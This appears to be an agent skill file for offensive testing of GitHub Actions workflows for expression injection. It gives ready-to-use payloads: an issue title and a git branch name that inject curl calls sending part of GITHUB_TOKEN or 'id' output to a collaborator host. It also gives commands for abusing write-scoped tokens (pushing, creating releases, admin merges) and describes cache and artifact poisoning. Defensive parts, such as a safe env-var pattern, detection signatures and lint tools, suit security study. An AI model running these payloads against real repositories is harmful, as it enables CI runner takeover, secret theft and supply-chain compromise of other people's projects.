| name | github-actions-injection |
| description | GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"github actions expression injection script injection pull_request_target github_token actions/checkout artifact cache action pinning sha tag","tags":"ci-cd, github-actions, expression-injection, script-injection","mitre_attack":"T1059, T1078.004, T1554"} |
GitHub Actions Expression Injection
${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.
Untrusted context — the sinks
These fields are attacker-controllable in fork PRs, issues, comments, branches:
| Context | Source | Notes |
|---|
github.event.issue.title / .body | issue create / edit | any logged-in user |
github.event.pull_request.title / .body | PR create / edit | any forker |
github.event.pull_request.head.ref | branch name on fork | ; $() ``` are valid Git branch chars |
github.event.comment.body | issue/PR comment | broad reach |
github.event.review.body / .review_comment.body | PR review | |
github.event.head_commit.message / .commits[*].message | push / PR | newlines allowed |
github.event.pages[*].page_name | gollum wiki | |
github.head_ref | shorthand for PR head branch | same as above |
Recon — find injection sinks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
<REPO>/.github/workflows/
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color
Sink pattern — the vulnerable workflow
on: [issues, pull_request_target]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Echo title
run: |
echo "New issue: ${{ github.event.issue.title }}" # <-- sink
Exploit payload — issue title
Open an issue titled:
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
Runner expands to:
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12)
The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)
Branch-name injection
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>
If any workflow does echo ${{ github.head_ref }} in a run:, the runner executes id and posts the result.
pull_request_target + PR-head checkout
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: npm ci && npm test
Two attack paths on the same workflow:
- Code execution — fork edits
package.json postinstall (see poisoned-pipeline-execution/SKILL.md).
- Expression injection — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any
${{ github.event.* }} sink in the base workflow is still exploitable via title / body / branch name.
Safe pattern (defender)
- name: Echo title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"
$ISSUE_TITLE is expanded by bash only — shell-meta inside $ISSUE_TITLE becomes literal text. Note this still requires set -u or careful quoting; double-quote the variable.
GITHUB_TOKEN permission abuse
If the workflow does not set permissions: explicitly, the token defaults to whatever the repo / org default is — historically read-all / write-all. With write scope you can:
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA
gh pr merge <N> --merge --admin
Always check the effective scope:
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
Artifact / cache poisoning
actions/cache keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when pull_request_target is in play. Same for actions/upload-artifact followed by a deploy job that downloads + executes.
- uses: actions/download-artifact@v4
with: { name: build }
- run: ./build/release.sh
Third-party action pinning
- uses: tj-actions/changed-files@v44
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8
tj-actions/changed-files (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
| xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
| base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'
Detection signatures
| Signal | Defender view |
|---|
${{ github.event.*.title | .body | .ref | .message }} in run: | static lint (actionlint, zizmor) |
Branch name containing shell metas (;, $(, backtick) | pre-receive hook on the org |
pull_request_target + actions/checkout with head.sha/head.ref | zizmor rule dangerous-checkout |
Token scopes write-all w/ no permissions: block | repo / org default token policy |
| Tag-pinned third-party action | dependabot.yml action-update review |
Tools
| Tool | Use |
|---|
actionlint | First-line static check; flags 90% of expression-injection sinks |
zizmor (woodruffw) | Rust-based audit, catches pull_request_target + checkout patterns |
octoscan | Workflow scanner with PoC generation hints |
gh CLI | Inspect runs, logs, token scopes, approve fork-PR runs |
gato-x (praetorian-inc) | End-to-end PPE / expression-injection automation |
Decision gate
- Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.
- Use
interactsh / Burp Collaborator for the beacon. Do not POST the token anywhere durable.
- Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.
References
- GitHub Security Lab — "Keeping your GitHub Actions and workflows secure"
- "Untrusted input" sink list — github.com/github/securitylab/issues
tj-actions/changed-files (CVE-2025-30066) post-mortem
- Synacktiv, NCC Group, Praetorian — Actions injection writeups